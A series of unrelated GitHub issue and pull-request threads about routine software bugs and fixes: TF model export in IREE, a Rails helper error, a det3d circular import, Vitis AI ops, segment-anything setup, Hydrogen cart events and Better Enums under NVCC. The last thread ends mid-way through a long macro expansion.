This PR removes all of the TF models in our benchmarking suite. It also introduces new failures when trying to re-add the TF models:
tensorflow.python.framework.errors_impl.InvalidArgumentError: Exported function with exported name(s) 'model.__call__', 'model.keras_api.__call__' with multiple concrete functions. Add @tf.function(input_signature=[...]) on this function, or use a narrower list of exported names that excludes this function.

Hey Marie,
For posterity, leave cross-linking this comment: https://github.com/openxla/iree/pull/12758#issuecomment-1500303233

I'll comment on #12758  later today too with more context (other responsibilities this morning). The upstream API is more restrictive but it's the one provided to us by TF bridge team, so doing as the error message suggest (adding tf.function(input_signature=[...])) or freezing the graph is best options until either they expand API (we have flagged that it is insufficient and have been discussing for weeks but no timeline) or PJRT adoption in TF. There are alternatives like using the previous IREE TF pip package to import using StableHLO and MLIR bytecode as output/input too.


Implement retry strategy for failed HTTP requests

Remove NetworkResponse as it's not needed anymore. We don't return Failure instead we just retry the failed request with exponential backoff.
Changes to NetworkService:

Change to reference type.
Move the DispatchQueue inside the class. Queue takes care of orchestrating the network requests so they are executed in sequential order.
Initialisation of the NetworkService takes just session object.
Implement retry strategy with exponential backoff.

Change the PushNotificationsNetworkable protocol.
Update PushNotificationsNetworkable tests.

CC @pusher/mobile

Codecov Report

Merging #72 into master will decrease coverage by 0.29%.
The diff coverage is 76.57%.

@@            Coverage Diff            @@
##           master      #72     +/-   ##
=========================================
- Coverage   81.71%   81.42%   -0.3%
=========================================
  Files          29       29
  Lines         990     1012     +22
=========================================
+ Hits          809      824     +15
- Misses        181      188      +7

Impacted Files
Coverage Δ

Sources/PushNotifications.swift
14.81% <12.24%> (-3.69%)
:arrow_down:

Sources/NetworkService.swift
96.34% <94.44%> (-3.66%)
:arrow_down:

Tests/PushNotificationsNetworkableTests.swift
97.6% <94.95%> (-2.41%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update a19a65d...e00bd2c. Read the comment docs.


undefined method `options_for_javascript' for #<#Class:xxx (ActionView::Template::Error)

This gem with Rails 4.2 is failing with the following error:
undefined method `options_for_javascript' for #<#<Class:0x007f0c22c01540>:0x007f0c22c04740> (ActionView::Template::Error)

I could be wrong, but it seems this method has been removed in Rails 4 (http://apidock.com/rails/ActionView/Helpers/UrlHelper/options_for_javascript).

same issue for me also

I updated the Readme to make it clear that there is no interested maintainer for this library. I'll merge PRs that are obviously correct.

Repo no more maintained as said by @marcandre ... closing the issue.


Documentation link fixes 2023 03 26

In Documentation/Contributors/README.md:

Dead link to "WebStorm Guide" in https://github.com/CesiumGS/cesium/blob/76d4a34d251d6d22d3dee8be7418159504e8bcfe/Documentation/Contributors/README.md
Removed that link. The WebStorm Guide was removed in https://github.com/CesiumGS/cesium/commit/793da88612ff3d650354bca27f82ed7ae47fd98a

In Documentation/Contributors/CodeReviewGuide:

Dead link to "Deprecation Guide" in https://github.com/CesiumGS/cesium/tree/76d4a34d251d6d22d3dee8be7418159504e8bcfe/Documentation/Contributors/CodeReviewGuide#changes-to-the-public-cesiumjs-api
Updated that link to point to the respective section in the Coding Guide. Preview: https://github.com/javagl/cesium/tree/documentation-link-fixes-2023-03-26/Documentation/Contributors/CodeReviewGuide#changes-to-the-public-cesiumjs-api
The first link there had the text "Documentation Guide" referred to the "Coding Guide" there. This was updated as well.

Thanks for the pull request @javagl!

:heavy_check_mark: Signed CLA found.
:grey_question: CHANGES.md was not updated.

If this change updates the public API in any way, please add a bullet point to CHANGES.md.

:grey_question: Unit tests were not updated.

Make sure you've updated tests to reflect your changes, added tests for any new code, and ran the code coverage tool.

Reviewers, don't forget to make sure that:

[ ] Cesium Viewer works.
[ ] Works in 2D/CV.

Thanks @javagl! The updates here all look good.

I think that for these guides, it could make sense to lean towards absolute links.

One benefit to relative links is that they work offline, such as for those in a disconnected environment.


Circular dependency causes ImportError

Thanks so much for sharing your codebase. It really helps accelerate research.
I noticed there is a circular dependency between det3d/core/__init__.py and det3d/datasets/kitti/kitti.py (they import each other).
To replicate:
python -c 'import det3d.core'
>>
  Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/root/det3d/det3d/core/__init__.py", line 2, in <module>
    from .evaluation import *
  File "/root/det3d/det3d/core/evaluation/__init__.py", line 10, in <module>
    from .eval_hooks import KittiDistEvalmAPHook, KittiEvalmAPHookV2
  File "/root/det3d/det3d/core/evaluation/eval_hooks.py", line 8, in <module>
    from det3d import datasets, torchie
  File "/root/det3d/det3d/datasets/__init__.py", line 4, in <module>
    from .kitti import KittiDataset
  File "/root/det3d/det3d/datasets/kitti/__init__.py", line 1, in <module>
    from .kitti import KittiDataset
  File "/root/det3d/det3d/datasets/kitti/kitti.py", line 7, in <module>
    from det3d.core import box_np_ops
ImportError: cannot import name 'box_np_ops'

A workaround is to make sure to import det3d.datasets before importing det3d.core. A preferable solution would be to remove the circular dependency.

Can you create a merge request to solve this problem?

@jhultman I met the same problem. To solve this problem, I just removed "from .bbox import *" in the init.py. but then I had to change "from det3d.core import box_np_ops" to "from det3d.core.bbox import box_np_ops" in all .py files.  It can work now.


--include prevents require hooks from executing on unmatched but required files

If you have a project like:
lib/file1.js
lib/file2.js
shared-templates/tpl.hbs
tools/require-extensions/hbs.js

// lib/file1.js
var template = require('../shared-templates/tpl.hbs');
console.log(template());

// tools/require-extensions/hbs.js
var fs = require('fs');
var hbsfy = require('hbsfy');

require.extensions['.hbs'] = function (module, filename) {
  console.log('HBS!', filename);
  var file = fs.readFileSync(filename, "utf8");
  var opts = { traverse: true };
  return module._compile(hbsfy.compile(file, opts), filename);
}

And then run:
$ nyc --require ./tools/require-extensions/hbs.js --include ./lib/ node lib/file1.js

./tools/require-extensions/hbs.js will execute once, but the execution of lib/file1.js will fail (and no "HBS!" logs will be seen). The error will imply that node either couldn't load the .hbs file or something like undefined is not a function due to template being undefined.
But if one removes the --include flag, everything works as expected. I believe the include flag is  preventing require hooks from being applied to files that do not match the include pattern, even though they are required for the test to execute. This may be a strange edge case, as I'm guessing everyone assumed there would never be a file that nyc should not generate coverage for, but still needed a transform to allow tests to complete!
The use of the --include flag was originally because when using istanbul, if you don't specify an include it globs the entire directory, even traversing node_modules. When I switched to nyc I was very confused why hbs files weren't compiling anymore...
Not sure if this is a true bug, or just an addition that should be made to the documentation?

Also, another reason I was using the --include arg was because the project I'm working on has multiple entry points (views), but shared code between them. So we run tests+coverage for each entry point. The --include flag is an easy way of whitelisting the entry-point-specific code, without having to blacklist all the shared code.

@kirbysayshi any chance you could share a more complete setup? Perhaps in a repo?
nyc shouldn't even recognize the .hbs extension so I'm not sure how it would prevent any code execution.

@novemberborn I tried to reproduce this today with a new repo, and even tried with the internal code that initially prompted this report. nyc seems fine now! Not sure what I was doing wrong. Very sorry for the inconvenience of this bug report!


Warning: Moving a temporary object prevents copy elison with g++ 13.2.1

Compiling using g++ 13.2.1 generates the following warning at parser.hpp line 2585: warning: moving a temporary object prevents copy elision [-Wpessimizing-move]. See below for full context:
toml11/toml/parser.hpp: In instantiation of ‘toml::basic_value<C, M, V> toml::parse(const std::filesystem::__cxx11::path&) [with Comment = discard_comments; Table = std::unordered_map; Array = std::vector]’:
xxxx.cc:137:30:   required from here
toml11/toml/parser.hpp:2585:40: warning: moving a temporary object prevents copy elision [-Wpessimizing-move]
 2585 |     return parse<Comment, Table, Array>(ifs, std::move(fpath.string()));

Thank you very much for pointing it out. I have fixed it.


Dockerfile for local deployement / Additional micro-services / Plugins

Hi,
Hope you are all well !
Would be awesome to have a docker/docker-compose files, recommend alpine based for the size of containers, for a local test of your coolproject.
Also, have u checked, to extend the meta info of some watched/starred repositories or bookmarks ?

https://github.com/nexB/scancode-toolkit
https://github.com/asciimoo/searx
https://github.com/GitMarkTeam/gitmark
https://github.com/usametov/Bookmarks-ETL

Have a great day !
Cheers,
Richard

thanks for the feedback
i add searx gitmark to the metadata/engin_list
you can use searx as your metasearch engine and use gitmark manage github projects
for bookmarks, i use "Export History and Bookmarks to JSON / CSV* / XLS*" export chrome bookmarks data
the dependencies of this project are in the requirements.txt and i only tested this project on my macbook

for  watched/starred repositories, i add convert_github.py to get that data,
press "e" key, and click a github link,  then click "convert", it will show you the user's  watched/starred repositories and following users
the commit is 94106dca8e831ee36d1aaf09c25d5d006c3dd6fd


Fixed typo in Dockerfile (PHP ZIP Support)

Hi @jaydio. I've discovered my upstream git server which I do my work on is not playing nice with Github right now when there are Github PRs (and they are not going upstream). I'm going to make the fix manually on my git server for now after closing this PR - I will credit you for the fix in the changelog, but I think while I understand why this is breaking down this is my way forward for the next little bit.

Tagged as `3.6.1
----------------------------------------------------------------
## 3.6.1 2023-07-29 <jaydio@github>

   ### Changed
      - Fix spelling mistake in Dockerfile when enabling Zip extension

----------------------------------------------------------------


Could you please fix  tag for code in the sample gradio demo?

Just had a try at http://agents.camel-ai.org/

But what the model spits out contains <br> html tag which makes them a lot harder to use
Thank! Your work is amazing, it opens up a lot of possibilities, especially in eduacting onself in learning something new w/o knowing much but just a couples ideas.
This work deserve more attention!

Thanks for your kind words! Thanks for pointing this out. We also realized this problem. It is a rendering issue in gradio. @Obs01ete is working on fixing it. Thanks!

On it

@yhyu13 Please check the fixed code blocks in the app:
http://agents.camel-ai.org/


ComfyUI please?

Looks very good for the imag editing,thanks for your Excellent work.
Do you have plans for launching ComfyUI nodes?

Hi, thanks a lot!
@ZHO-ZHO-ZHO has been working on a ComfyUI implementation (https://twitter.com/ZHOZHO672070/status/1776262173808832793), but I don't know what the state of that is.


[VAILIB_CPU_RUNNER_OPEN_LIB_ERROR] libvart_op_imp_strided_slice-fix.so: cannot open shared object file

Hello everyone,
I want to implement my PyTorch model using Vitis AI 3.0. My model contains code that splits a tensor into halves. For the sake of simplicity, I created a minimal working example:
class myModel(nn.Module):
    def __init__(self):
        super(myModel, self).__init__()

    def forward(self, x: torch.Tensor):
        shape_half = 144
        xi = x[:, :shape_half, :]
        return xi

The xir compiler uses the strided_slice-fix function to implement this. The graph of the minimal working example looks like the following:

The problem occurs when I try to deploy this model. I get the following error message:
F0301 13:57:30.340754  1622 op_imp.cpp:110] [UNILOG][FATAL][VAILIB_CPU_RUNNER_OPEN_LIB_ERROR][dlopen can not open lib!]  lib=libvart_op_imp_strided_slice-fix.so;error=libvart_op_imp_strided_slice-fix.so: cannot open shared object file: No such file or directory;op=xir::Op{name = myModel__myModel_23, type = strided_slice-fix}

It seems like the strided_slice-fix function is not implemented. I checked the vai_library and can only find an implementation for strided_slice but not for strided_slice-fix.
Is there any workaround or fix for this problem? Will this function be implemented in a future version of Vitis AI?
Thanks for your help!

Hi @j0r0123 ,
I'm facing the same problem when trying to run my own model on a DPU. Did you find any workaround?

Hi @MingyangZhang77,
I used the custom op work flow in order to implement the function myself. The strided-slice (without fix-point) implementation served me as a reference point for that.
I hope that helps.

I'm facing the same problem, does that mean you have to write a custom op for a op that is already present in the /usr/lib, and write a pure python implementation and copy it as "cp vart_op_imp/ /usr/lib/python3.9/site-packages/ -r"?
This is one more thing I'd like to add about this problem is that, the output of the inspect function for this op say that it is not assigned to DPU. But when I quantize, compile and inspect using netron it say it is assigned to DPU without any problem until I try to run_op using xdputil that is when I find out there is not slice stride present in /usr/lib.

@j0r0123 's answer is correct.
this need be implemented by custom op.
@omgitsmj24 you mentioned compile and inspect by netron and found it is assigned to DPU,
can you please paste your compiled model here for reference?
thanks


runing error

python3 scripts/amg.py --checkpoint ./sam_vit_l_0b3195.pth --input ./input_image/dog.jpg --output ./output_image
When I ran this statement, the following error occurred

Does the problem still exist when you download and try a different model? sam_vit_h_4b8939.pth for example?

It's still the same error

Is there a problem with my runtime environment?

I'm not sure I'm afraid.
The only thing I can see from your command is that you are specifying a filename instead of a folder for your output.
As per the amg.py script: Path to the directory where masks will be output. Output will be either a folder "         "of PNGs per image or a single json with COCO-style masks
However I doubt that is the cause of the issue you are experiencing.
If you think its your runtime, perhaps try docker?
This is what works for me...
Dockerfile
# Use the official Python base image
FROM python:3.9

# Set the working directory
WORKDIR /app

# Copy the requirements file into the container
COPY requirements.txt .

RUN apt-get update && \
    apt-get install -y --no-install-recommends libgl1-mesa-glx && \
    rm -rf /var/lib/apt/lists/*

# Install the required Python packages
RUN pip install --no-cache-dir -r requirements.txt

# Copy the rest of the repository code into the container
COPY . .

# Install the 'segment-anything' package
RUN pip install -e .

# Set the entrypoint to a shell to allow user interaction
ENTRYPOINT ["/bin/bash"]

requirements.txt
torch
torchvision
timm
einops
matplotlib
opencv-python
pycocotools
svgwrite
numpy
svgpathtools

P.s. - I just use the default model type with that model - I notice you specified a model type in your last screenshot. Remove that and see what happens?
This is what works for me
python scripts/amg.py --checkpoint data/sam_vit_h_4b8939.pth --input data/a-room-at-the-beach.jpeg --output data/output

Please ensure that you provide the right model-type. In the first screenshot, you were using vit_l without specifying the model-type (the default is vit_h). In the second screenshot, you were using the checkpoint of vit_h but specifying the model-type as vit_b.

Thank you. I tried as you suggested, and it prompted me that there is an issue with the NVIDIA driver. I will try to install the driver.

I'm not sure I'm afraid.
The only thing I can see from your command is that you are specifying a filename instead of a folder for your output.
As per the amg.py script: Path to the directory where masks will be output. Output will be either a folder " "of PNGs per image or a single json with COCO-style masks
However I doubt that is the cause of the issue you are experiencing.
If you think its your runtime, perhaps try docker?
This is what works for me...
Dockerfile
# Use the official Python base image
FROM python:3.9

# Set the working directory
WORKDIR /app

# Copy the requirements file into the container
COPY requirements.txt .

RUN apt-get update && \
    apt-get install -y --no-install-recommends libgl1-mesa-glx && \
    rm -rf /var/lib/apt/lists/*

# Install the required Python packages
RUN pip install --no-cache-dir -r requirements.txt

# Copy the rest of the repository code into the container
COPY . .

# Install the 'segment-anything' package
RUN pip install -e .

# Set the entrypoint to a shell to allow user interaction
ENTRYPOINT ["/bin/bash"]

requirements.txt
torch
torchvision
timm
einops
matplotlib
opencv-python
pycocotools
svgwrite
numpy
svgpathtools

It's still the same error,Maybe I can really try use Docker


iOS RoboVM: Support hardware keyboard events

Since iOS 13.5, iOS gives us real key events from hardware keyboards. I've added that to our robovm backend.
It is downwards compatible, older iOS versions since 9 have the used callback but don't call it (it was used on tvOS only) and therefore on older iOS versions nothing happens. But the game must be build with iOS SDK 13.5 or newer, that means robovm 2.3.10 is needed and therefore the dependency changed.
Since key event handling is used very different in libGDX (keys vs keyTyped, polling vs event handling, not to speak about Scene2d text fields, I was not able to test every type of key input. However, I tested with my game, with InputTest and SoftKeyboardTest on iOS 12, 13.2 and 13.4. As this is an addition, situation is in any case better with than without it. :-)
EDIT: Can be tested conveniently on Simulator.
Hint: iOS 14 will add the ability to access hardware keyboard connection state and handle mouse events/lock mouse cursor as well.

It's merged! Please update the CHANGES file to and indicate that RoboVM 2.3.10+ is required. - Thanks! 👍

Thanks, done!

https://github.com/libgdx/libgdx/blob/master/fetch.xml#L5 was not updated, which is causing ant/maven based build to fail.

I am sorry, was not aware of a second definition.

The dependencies are updated, unfortunately using snapshots does not work in fetch.xml :(
It points only to release repo, but changing this to snapshot repo would not help because of the timestamps in the snapshots.


Fix the Readme so that it has valuable information.

I want to see a better title, description and may be a road-map.

Included in pre-release v0.0.1-alpha


How can I use a location name with space in between

Hi I am using a your tool to scrap data. When the location has only one token (Melbourne) it works fine but when it has more than one token (The Netherlands) or (West Bengal) it does not return any results. I tried the following as well but no result (Got 0 tweets for.....). Please let me know how can I solve this issue. TIA.
twitterscraper "near%3A"the%20netherlands"%20within%3A15mi since:2017-12-01 until:2017-12-31" --output=N_Dec_2017.json

You can use a nested quotation, but the inner quotation has to have different characters than the outer quotation. For example ' for the inner and " for the outer.

Thanks Taspinar. It worked. However I am trying to geocode the user's home location. I used one of the codes given in this forum, however, it seems the code does not work. Can you tell me where should I make a change. The screenshot is attached.

Hi @rahuldebdas .
It is difficult to say since I can not see what the input data is. All I can say is that the list_of_users should literally be a Python list with usernames. So please check if that is the case.


Fix numerics issue

Fixes https://github.com/probcomp/PoseComposition.jl/issues/5.
Tested
Confirmed that the example in https://github.com/probcomp/PoseComposition.jl/issues/5#issue-1052386723 is now working on the EC2 instance where it previously failed.  And, unit tests still pass locally.  However, CI is now failing, probably again due to system-dependent numerics.  Will fix before merging.

I am having trouble logging in to Travis to start a debug build.  I'm going to just merge this, and we can wait on tagging a new release until after we figure out the Travis issue.


Is it possible for you to share a training log of Swin-T model?

Hello author, Thx for your great work! As I am using your repo, I find this model hard to converge compared to normal object detection. Thus, is it possible for you to share a training log of Swin-T model (or any other model)? Many thanks for that!

Here is the log.txt of QAHOI-Swin-Tiny with (x1,x2,x3 multi-scale feature maps) trained from scratch.
For saving test time, we use the QPIC's evaluation code during training, which is faster than the evaluation code of GGNet, and the result is slightly higher than GGNet's.
And the NMS process was also not used during training.
The final result is obtained by using GGNet's evaluator with the NMS process.

@cjw2021 Many thanks! That's a good reference.


Add total_gain and total_cover importance measures

Add 'total_gain' and 'total_cover' as possible importance_type
arguments to Booster.get_score in the Python package.
get_score already accepts a 'gain' argument, which returns each
feature's average gain over all of its splits.  'total_gain' does the
same, but returns a total rather than an average.  This seems more
intuitively meaningful, and also matches the behavior of the R package's
xgb.importance function.
I also added an analogous 'total_cover' command for consistency.
This resolves #3484.

Thanks!


wrong convert index

while converting the audio, the system doesn't provide a correct speaker dictionary.

[ ] how to obtain the speaker index dictionary from the model?

Or the question maybe, how to set the target domain in the inference stage.

The index of the speakers is sorted by alphabet.


deb: Remove needless "#{PACKAGE_NAME}" prefix

"debian/copyright" and "debian/source/include-binaries" are generated to "debian/copyright" not "#{PACKAGE_NAME}/debian/copyright" and so on. If we use wrong path to file, we always regenerate these files. It slows down rake apt:build.

Could you follow DCO?: https://github.com/fluent/fluent-package-builder/pull/442/checks?check_run_id=12714000712


Project still active?

Hi!
Thank you for the module!
Do you plan to update the module to the newest GPT's?
Best regards, Magnus

Good question, I was wondering the same thing

The system crashes immediately once I activate this module. Even worse is that it is nowhere to be found and thus had to restore a backup.
Anyone else facing those issues? And yeah, is this project still alive?

Tried it, not working, created a JS error on the front end which breaks everything. To deactivate the module use the CLI:
php artisan module:disable "HostetskiGPT"
php artisan freescout:clear-cache

The module needs to fix its JS so the error does not occur. It seems abandoned here, so I have forked the module here and want to work with others via pull requests that are more familiar with Laravel:
https://github.com/presswizards/FreeScoutGPT


Update concerto-analysis rules to analyse aliased imports

Related analysers are probably these

Properties
Class declarations that extend an imported type
~Import statements~

Is aliasing just a syntactic change? So should it be ignored in analysis?
Or should it at least cause a patch change

Are the following the same
import<EMAIL_ADDRESS>
concept Animal {
  o Bar leg
}

import<EMAIL_ADDRESS>as baz}

concept Animal {
  o baz leg
}

The current version of concerto-analysis only analyses the semantic structure of a model file. Whereas aliasing a type is only a syntactic change.
Also, there is no import factory at present.
Handling the above would require us to create an import factory.
Pros of analysing aliased imports:

we can label the alias changes as patch changes; this would explicitly tell the user that he has made an alias change.

cons of analysing aliased imports

aliasing a type is only a syntactic change, it does not change anything semantically

Our BDFL decided this will be a patch change.


product_added_to_cart and product_removed_from_cart not firing

What is the location of your example repository?
No response
Which package or tool is having this issue?
Hydrogen
What version of that package or tool are you using?
2024.4.0
What version of Remix are you using?
No response
Steps to Reproduce
Subscribe 'cart_updated', 'product_added_to_cart', and 'product_removed_from_cart'. Only 'cart_updated' is firing.
subscribe('cart_updated', (data) => {
  console.log('CustomAnalytics - Cart updated:', data);
});
subscribe('product_added_to_cart', (data) => {
  console.log('CustomAnalytics - Product added to cart:', data);
});
subscribe('product_removed_from_cart', (data) => {
  console.log('CustomAnalytics - Product removed from cart:', data);
});

In CartAnalytics.tsx, it loops through cart.lines.nodes.

While the cart data returned is cart.lines.edges, and therefore product_added_to_cart and product_removed_from_cart will never fire.

Expected Behavior
product_added_to_cart and product_removed_from_cart are firing.
Actual Behavior
product_added_to_cart and product_removed_from_cart are NOT firing.

@wizardlyhel Also, instead of returning previous line and current line, it would be helpful if you return the difference for add to cart and remove from cart event, just like what you did for Web pixel api.
For example, for adding 4 items of total value $40, instead of returning previous line {item: "a", quantity: 1, value: 10} and current line {item: "a", quantity: 5, value: 50}, it would be better to return {item: "a", quantity: 4, value: 40}.

Also, instead of returning previous line and current line, it would be helpful if you return the difference for add to cart and remove from cart event

You can create an event that can just output an update to a cart line that is a difference. This component cannot assume that a quantity difference is the default for every single analytics frameworks out there, including Shopify's own analytics requirements. It's the reason why we decided to return the previous line and the current line. So that you can calculate the difference if you need.


Drawing texture

I've been working with bevy_mod_imgui and I'm trying to draw an Image from a Bevy texture using imgui. However, I haven't been able to find a way to access or pass Bevy textures to imgui for rendering. Is there a supported method to achieve this that I might be overlooking?

I don't believe that is possible at the moment but is a reasonable request. I'll look into this once Bevy 0.14 support is finished

So I'm working on this at the moment - a quick and dirty prototype suggests this should be doable...

Hello. Is there any progress on this feature? Rendering textures using imgui would be immensely useful for me.

Hi, yes, there has been some progress. It has been slow due to other projects / life events taking priority. Will push up a branch in the next couple of days so you can try it out

Ok, thanks

Okay, I've pushed up a candidate set of changes for custom texture support on the custom-texture branch. This adds two new examples - one that displays a Bevy Image loaded from an asset in an ImGui window, and another that displays a scene rendered to a texture in an ImGui window. If you could give this a try, and let me know how it goes, that'd allow me to close out any remaining issues before merging and releasing this...

New custom-texture example

New render-to-texture example


Implementation option

I was wondering if it is possible to add a search box in "File Manager" page to look for raw files uploaded before .
When you have more than 300 titles on server it takes a lot to find the right tab where that specific file is so it can be deleted .

Can you append a screenshot of the search box that you are referring to?

a Search box to look for files on "file Manager" would be nice , it takes a lot of time to look into all tabs bellow to find a previous uploaded file .

Duplicate of #1004


Fix Sphinx on azure-storage-blob-changefeed

Resolves https://github.com/Azure/azure-sdk-for-python/issues/33575

API change check
API changes are not detected in this pull request.


Move roadmap prototype to display static scenarios not deltas

This pull request introduces 2 alerts when merging 4c79115c2095c8b73b1830bfc7fa192e2b75ccea into 98bd1313af6db41b64a5b9753a27c63e0475eac3 - view on LGTM.com
new alerts:

2 for Unused variable, import, function or class

Comment posted by LGTM.com


As a clinician, I can see the goals and concerns authored by the patient/caregiver that have been stored in the SDS

As a clinician, I can see the goals and concerns authored by the patient/caregiver that have been stored in the SDS.
display patient-authored goals and concerns from SDS in clinician app

Update from Sean: Not able to read from SDS.

OHSU is still working through authorization issue with SDS.

Documentation queries made into SDS
precondition: Brand new SDS, brand new client

Want to add a goal -> PUT goal

Re-query is not done

SDS is treated like any provider endpoint so all supported Resource types will be queried

To do @swmuir - log the queries.

@swmuir to mock up how the linkage would work and run that by Tim.


Crashing after getting to 100%

Completed: 100.0%
---- Capturing Pokemon -----
Traceback (most recent call last):
  File "main.py", line 735, in <module>
    main()
  File "main.py", line 723, in main
    encounter_and_capture(pokemon)
  File "main.py", line 682, in encounter_and_capture
    cap_status = resp['responses']['CATCH_POKEMON']['status']
KeyError: 'status'

That's what I get when the searching gets to 100%, the first time I ran the script it completed successfully and caught a few pokemon, but when it got to 100% the next time it crashed. Any idea what's happening?

Fixed in the lastest commit.Thanks for pointing it out.


add more information on PyPI

Add some more description and links to documentation and source on PyPI

Thanks for bringing it to my attention. This does indeed seem resolved.


Better Enums with CUDA?

Hi, I have been trying to use Better Enums with CUDA, in a .cu file.
When supplying --expt-relaxed-constexpr to NVCC, this works alright for the most part. However, when initializing the enum members, NVCC does something very strange.
Here is my testing code:
#include "enum.h"

BETTER_ENUM(Channel, char, Red = 1, Green, Blue);

int main() { }

Compile with nvcc constexpr-init.cu -std=c++11 -o constexpr-init
I get the following errors that are not understandable to me:
constexpr-init.cu:3:2362: error: lvalue required as left operand of assignment
 BETTER_ENUM(Channel, char, Red = 1, Green, Blue);
                                                                                ^
constexpr-init.cu: In static member function 'static constexpr Channel::_optional Channel::_from_integral_nothrow(Channel::_integral)':
constexpr-init.cu:3:0: error: body of constexpr function 'static constexpr Channel::_optional Channel::_from_integral_nothrow(Channel::_integral)' not a return-statement
 BETTER_ENUM(Channel, char, Red = 1, Green, Blue);

constexpr-init.cu: In static member function 'static constexpr Channel::_optional Channel::_from_string_nothrow(const char*)':
constexpr-init.cu:3:0: error: body of constexpr function 'static constexpr Channel::_optional Channel::_from_string_nothrow(const char*)' not a return-statement
constexpr-init.cu: In static member function 'static constexpr Channel::_optional Channel::_from_string_nocase_nothrow(const char*)':
constexpr-init.cu:3:0: error: body of constexpr function 'static constexpr Channel::_optional Channel::_from_string_nocase_nothrow(const char*)' not a return-statement
constexpr-init.cu: In static member function 'static constexpr Channel::_value_iterable Channel::_values()':
constexpr-init.cu:3:0: error: body of constexpr function 'static constexpr Channel::_value_iterable Channel::_values()' not a return-statement

NVCC creates .cpp files that are passed to the host compiler. These files can be inspected by adding the --keep parameter to the command line.
If you do that and inspect the file, you will find the macro expansion somewhere, which looks like this:
namespace better_enums { namespace _data_Channel { }}class Channel { typedef better_enums::optional< Channel>  _optional; typedef better_enums::optional< unsigned long>  _optional_index; public: typedef char _integral; enum _enumerated: char { Red = 1, Green, Blue}; constexpr Channel(_enumerated value) : _value(value) { } constexpr operator _enumerated() const { return (_enumerated)(_value); } constexpr _integral _to_integral() const; static constexpr Channel _from_integral(_integral value); static constexpr Channel _from_integral_unchecked(_integral value); static constexpr _optional _from_integral_nothrow(_integral value); inline const char *_to_string() const; static constexpr Channel _from_string(const char * name); static constexpr _optional _from_string_nothrow(const char * name); static constexpr Channel _from_string_nocase(const char * name); static constexpr _optional _from_string_nocase_nothrow(const char * name); static constexpr bool _is_valid(_integral value); static constexpr bool _is_valid(const char * name); static constexpr bool _is_valid_nocase(const char * name); typedef better_enums::_Iterable< Channel>  _value_iterable; typedef better_enums::_Iterable< const char *>  _name_iterable; typedef better_enums::_Iterable< Channel> ::iterator _value_iterator; typedef better_enums::_Iterable< const char *> ::iterator _name_iterator; static constexpr const std::size_t _size_constant = (3); static constexpr std::size_t _size() { return _size_constant; } static constexpr const char *_name(); static constexpr _value_iterable _values(); static inline _name_iterable _names(); _integral _value; private: Channel() : _value((0)) { } constexpr explicit Channel(const _integral &value) : _value(value) { } static inline int initialize(); static constexpr _optional_index _from_value_loop(_integral value, std::size_t index = 0); static constexpr _optional_index _from_string_loop(const char * name, std::size_t index = 0); static constexpr _optional_index _from_string_nocase_loop(const char * name, std::size_t index = 0); friend struct better_enums::_initialize_at_program_start< Channel> ; }; namespace better_enums { namespace _data_Channel { static _initialize_at_program_start< Channel>  _force_initialization; enum _PutNamesInThisScopeAlso { Red = 1, Green, Blue}; constexpr const Channel _value_array[] = {(Channel::Red = (1)), (Channel::Green), (Channel::Blue)}; constexpr const char *_the_raw_names[] = {("Red = 1"), ("Green"), ("Blue")}; constexpr const char *const *_raw_names() { return _the_raw_names; } inline char *_name_storage() { static char storage[] = "Red = 1,Green,Blue,"; return storage; } inline const char **_name_array() { static const char *value[Channel::_size_constant]; return value; } inline bool &_initialized() { static bool value = false; return value; } }}constexpr const Channel operator+(Channel::_enumerated enumerated) { return static_cast< Channel>(enumerated); } constexpr Channel::_optional_index Channel::_from_value_loop(_integral value, std::size_t index) { return ((index == _size()) ? _optional_index() : ((((((better_enums::_data_Channel::_value_array)[index])._value) == value) ? ((_optional_index)(index)) : (_from_value_loop(value, index + (1)))))); } constexpr Channel::_optional_index Channel::_from_string_loop(const char *name, std::size_t index) { return ((index == _size()) ? _optional_index() : ((::better_enums::_names_match(better_enums::_data_Channel::_raw_names()[index], name) ? ((_optional_index)(index)) : (_from_string_loop(name, index + (1)))))); } constexpr Channel::_optional_index Channel::_from_string_nocase_loop(const char *name, std::size_t index) { return ((index == _size()) ? _optional_index() : ((::better_enums::_names_match_nocase(better_enums::_data_Channel::_raw_names()[index], name) ? ((_optional_index)(index)) : (_from_string_nocase_loop(name, index + (1)))))); } constexpr Channel::_integral Channel::_to_integral() const { return (_integral)(_value); } constexpr Channel Channel::_from_integral_unchecked(_integral value) { return static_cast< _enumerated>(value); } constexpr Channel::_optional Channel::_from_integral_nothrow(_integral value) { return ::better_enums::_map_index< Channel> (better_enums::_data_Channel::_value_array, _from_value_loop(value)); } constexpr Channel Channel::_from_integral(_integral value) { return ::better_enums::_or_throw(_from_integral_nothrow(value), "Channel::_from_integral: invalid argument"); } inline const char *Channel::_to_string() const { return ::better_enums::_or_null(::better_enums::_map_index< const char *> (better_enums::_data_Channel::_name_array(), _from_value_loop(::better_enums::continue_with(initialize(), _value)))); } constexpr Channel::_optional Channel::_from_string_nothrow(const char *name) { return ::better_enums::_map_index< Channel> (better_enums::_data_Channel::_value_array, _from_string_loop(name)); } constexpr Channel Channel::_from_string(const char *name) { return ::better_enums::_or_throw(_from_string_nothrow(name), "Channel::_from_string: invalid argument"); } constexpr Channel::_optional Channel::_from_string_nocase_nothrow(const char *name) { return ::better_enums::_map_index< Channel> (better_enums::_data_Channel::_value_array, _from_string_nocase_loop(name)); } constexpr Channel Channel::_from_string_nocase(const char *name) { return ::better_enums::_or_throw(_from_string_nocase_nothrow(name), "Channel::_from_string_nocase: invalid argument"); } constexpr bool Channel::_is_valid(_integral value) { return _from_value_loop(value); } constexpr bool Channel::_is_valid(const char *name) { return _from_string_loop(name); } constexpr bool Channel::_is_valid_nocase(const char *name) { return _from_string_nocase_loop(name); } constexpr const char *Channel::_name() { return "Channel"; } constexpr Channel::_value_iterable Channel::_values() { return _value_iterable(better_enums::_data_Channel::_value_array, _size()); } inline Channel::_name_iterable Channel::_names() { return _name_iterable(better_enums::_data_Channel::_name_array(), ::better_enums::continue_with(initialize(), _size())); } inline int Channel::initialize() { if (better_enums::_data_Channel::_initialized()) { return 0; }  ::better_enums::_trim_names(better_enums::_data_Channel::_raw_names(), better_enums::_data_Channel::_name_array(), better_enums::_data_Channel::_name_storage(), _size()); better_enums::_data_Channel::_initialized() = true; return 0; } constexpr bool operator==(const Channel &a, const Channel &b) { return (a._to_integral()) == (b._to_integral()); } 